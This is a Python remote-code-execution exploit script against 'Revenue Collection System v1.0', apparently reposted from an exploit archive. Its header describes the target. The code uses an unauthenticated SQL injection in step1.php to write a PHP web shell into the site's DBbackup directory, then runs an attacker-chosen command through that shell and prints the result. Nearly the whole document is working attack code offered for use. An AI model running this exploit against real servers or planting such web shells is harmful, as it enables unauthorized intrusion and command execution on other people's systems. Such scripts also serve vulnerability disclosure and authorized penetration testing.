Revenue Collection System v1.0 - Remote Code Execution Exploit

# Exploit Title: Revenue Collection System v1.0 - Remote Code Execution (RCE)
# Exploit Author: Joe Pollock
# Vendor Homepage: https://www.sourcecodester.com/php/14904/rates-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/rates.zip
# Tested on: Kali Linux, Apache, Mysql
# Vendor: Kapiya
# Version: 1.0
# Exploit Description:
#   Revenue Collection System v1.0 suffers from an unauthenticated SQL Injection Vulnerability, in step1.php, allowing remote attackers to
#   write a malicious PHP file to disk. The resulting file can then be accessed within the /rates/admin/DBbackup directory.
#   This script will write the malicious PHP file to disk, issue a user-defined command, then retrieve the result of that command.
#   Ex: python3 rcsv1.py 10.10.14.2 "ls"
 
import sys, requests
def main():
        if len(sys.argv) != 3:
                print("(+) usage: %s <target> <cmd>" % sys.argv[0])
                print('(+) eg: %s 192.168.121.103 "ls"'  % sys.argv[0])
                sys.exit(-1)
 
        targetIP = sys.argv[1]
        cmd = sys.argv[2]
        s = requests.Session()
        
        # Define obscure filename and command parameter to limit exposure and usage of the RCE.
        FILENAME = "youcantfindme.php"
        CMDVAR = "ohno"
        
        # Define the SQL injection string
        sqli = """'+UNION+SELECT+"<?php+echo+shell_exec($_GET['%s']);?>","","","","","","","","","","","","","","","",""+INTO+OUTFILE+'/var/www/html/rates/admin/DBbackup/%s'--+-""" % (CMDVAR,FILENAME)
        
        # Write the PHP file to disk using the SQL injection vulnerability
        url1 = "http://%s/rates/index.php?page=step1&proId=%s" % (targetIP,sqli)
        r1 = s.get(url1)
        
        # Execute the user defined command and display the result
        url2 = "http://%s/rates/admin/DBbackup/%s?%s=%s" % (targetIP,FILENAME,CMDVAR,cmd)
        r2 = s.get(url2)
        print(r2.text)
        
if __name__ == '__main__':
        main()
 
#  0day.today [2023-04-16]  #